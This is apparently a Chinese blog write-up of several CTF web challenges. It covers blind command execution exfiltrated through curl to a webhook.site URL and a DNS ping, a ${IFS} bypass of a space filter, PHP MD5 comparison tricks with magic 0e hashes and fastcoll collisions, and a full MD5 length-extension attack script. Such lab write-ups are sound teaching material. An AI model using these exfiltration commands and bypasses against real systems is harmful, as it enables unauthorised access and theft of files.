一起吃豆豆

进入到站点,在index.js中找到一串base64解密的字符,解密即可得到flag

目录

你听不到我的声音

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

源码仅仅是这样,看了看题目:我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

shell_exec无回先,可以执行shell命令,所以只需要外带即可。

重定向到文件

用流重定向符号来将输出内容重定向到文件中, 再通过浏览器进行下载

写入目录之后,通过访问url/1.txt

获取到目录文件

此时就可以使用cat /flag直接获取到flag

使用dnslog

使用站点:dnslog.cn

用 ping 外带

ping `cat /flag | base64`.xxxxxxx.dnshook.site

但是发现仍然没有数据,不知道什么原因。

使用https://webhook.site/

执行curl

能够有访问返回。

所以可以直接使用:

cmd=curl https://webhook.site/12de855d-dd62-49db-8169-1e9f8fd23828/`cat /flag`

使用反引号进行拼接,直接获取到flag

RCEisamazingwithspace

无空格rce

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}
// execute the command
system($cmd);

其中的正则表达式为了防止命令里有空格,而空格也可以使用别的内容进行代替。

如:<>${IFS}$IFS$IFS$

使用${IFS}直接就可以绕过

数学大师

题目内容:每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

题目提示:本题依赖 session,请在请求时开启 session cookie

要求传入到answer中,所以通过搓一个脚本

使用regex101: build, test, and debug regex进行正则表达式的编写。

import requests
import re
answer = 0
req = requests.session()    # 存储session
while True:    # 直接传入死循环,防止网页出现问题
    a = req.post("http://challenge.basectf.fun:43271", data= {"answer" : answer})    # 获取网页信息
# 使用正则表达式进行处理
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, a.text)
    num1 = match.group(1)
    op = match.group(2)
    num2 = match.group(3)
    if op == "+":
        answer = int(num1) + int(num2)
    elif op == "-":
        answer = int(num1) - int(num2)
    elif op == "×":
        answer = int(num1) * int(num2)
    elif op == "÷":
        answer = int(num1) // int(num2)
    print(a.text)

可以获取到脚本。

所以你说你懂 MD5?

字符串iv2Cn通过一次和两次MD5,开头都是0e

if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

首先对md5强比较绕过,使用数组即可

构造apple[]=0&banana[]=1

if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

而后会将数组强转成string,通过string转换之后,apple和banana都会被转成array,然后变成array的md5值之后,无法进行绕过。

所以可以利用0e进行绕过

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

双重MD5加密后0E开头:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

强等于绕过,要满足两个内容不同,但是经过一次md5之后的结果仍然是md5

可以使用 fastcoll 工具https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

下载之后,创建一个txt文件,随便输入内容,拖放到exe上进行运行,会在目录生成两个文件。

文件内容是两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入

yakit可以上传文件内容,使用{{url({{file(文件绝对路径)}})}}即可将文件传入

也可以使用php中的urlencode函数,将其内容编码后输入到参数值上。

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

最后一层考md5长度拓展攻击

上一层绕过后,生成的值为session cookie获取到的值,这个值如果在post包内存入session,便不会变化的,可以从返回的cookie中取出。

【CRYPTO】哈希长度拓展攻击 | 狼组安全团队公开知识库 (wgpsec.org)

参考文章:浅析 MD5 长度扩展攻击 (MD5 Length Extension Attack) | Luoingly’s Space

使用工具:attack-scripts/logic/md5-extension-attack.py at main · luoingly/attack-scripts (github.com)

使用py脚本:

from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

    def __init__(self):
        self.A, self.B, self.C, self.D = \
            (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial values
        self.r: list[int] = \
            [7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \
            [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift values
        self.k: list[int] = \
            [floor(abs(sin(i + 1)) * pow(2, 32))
             for i in range(64)]  # constants

    def _lrot(self, x: int, n: int) -> int:
        # left rotate
        return (x << n) | (x >> 32 - n)

    def update(self, chunk: bytes) -> None:
        # update the hash for a chunk of data (64 bytes)
        w = list(unpack('<'+'I'*16, chunk))
        a, b, c, d = self.A, self.B, self.C, self.D

        for i in range(64):
            if i < 16:
                f = (b & c) | ((~b) & d)
                flag = i
            elif i < 32:
                f = (b & d) | (c & (~d))
                flag = (5 * i + 1) % 16
            elif i < 48:
                f = (b ^ c ^ d)
                flag = (3 * i + 5) % 16
            else:
                f = c ^ (b | (~d))
                flag = (7 * i) % 16

            tmp = b + \
                self._lrot((a + f + self.k[i] + w[flag])
                           & 0xffffffff, self.r[i])
            a, b, c, d = d, tmp & 0xffffffff, b, c

        self.A = (self.A + a) & 0xffffffff
        self.B = (self.B + b) & 0xffffffff
        self.C = (self.C + c) & 0xffffffff
        self.D = (self.D + d) & 0xffffffff

    def extend(self, msg: bytes) -> None:
        # extend the hash with a new message (padded)
        assert len(msg) % 64 == 0
        for i in range(0, len(msg), 64):
            self.update(msg[i:i + 64])

    def padding(self, msg: bytes) -> bytes:
        # pad the message
        length = pack('<Q', len(msg) * 8)

        msg += b'\x80'
        msg += b'\x00' * ((56 - len(msg)) % 64)
        msg += length

        return msg

    def digest(self) -> bytes:
        # return the hash
        return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
    # (DEBUG function) verify the MD5 implementation
    from hashlib import md5 as md5_hashlib

    def md5_manual(msg: bytes) -> bytes:
        md5 = MD5()
        md5.extend(md5.padding(msg))
        return md5.digest()

    manual_result = md5_manual(test_string).hex()
    hashlib_result = md5_hashlib(test_string).hexdigest()

    assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
           append_str: bytes) -> tuple:
    # MD5 extension attack
    md5 = MD5()

    previous_text = md5.padding(b"*" * message_len)
    current_text = previous_text + append_str

    md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
    md5.extend(md5.padding(current_text)[len(previous_text):])

    return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':

    message_len = int(input("[>] Input known text length: "))
    known_hash = input("[>] Input known hash: ").strip()
    append_text = input("[>] Input append text: ").strip().encode()

    print("[*] Attacking...")

    extend_str, final_hash = attack(message_len, known_hash, append_text)

    from urllib.parse import quote
    from base64 import b64encode

    print("[+] Extend text:", extend_str)
    print("[+] Extend text (URL encoded):", quote(extend_str))
    print("[+] Extend text (Base64):", b64encode(extend_str).decode())
    print("[+] Final hash:", final_hash)

已知random的长度不变,内容会变化,通过使用php跑一下,发现random的长度为96,而内容已经取出到了cookie中。

要求最后的5个字符为admin。

获取到了name和md5的值,传入即可。

THE END
© 版权声明
文章来源:https://blog.starchen.top 关注微信公众号:盼望星辰 获取更多资讯 Copyright © 2024 星辰博客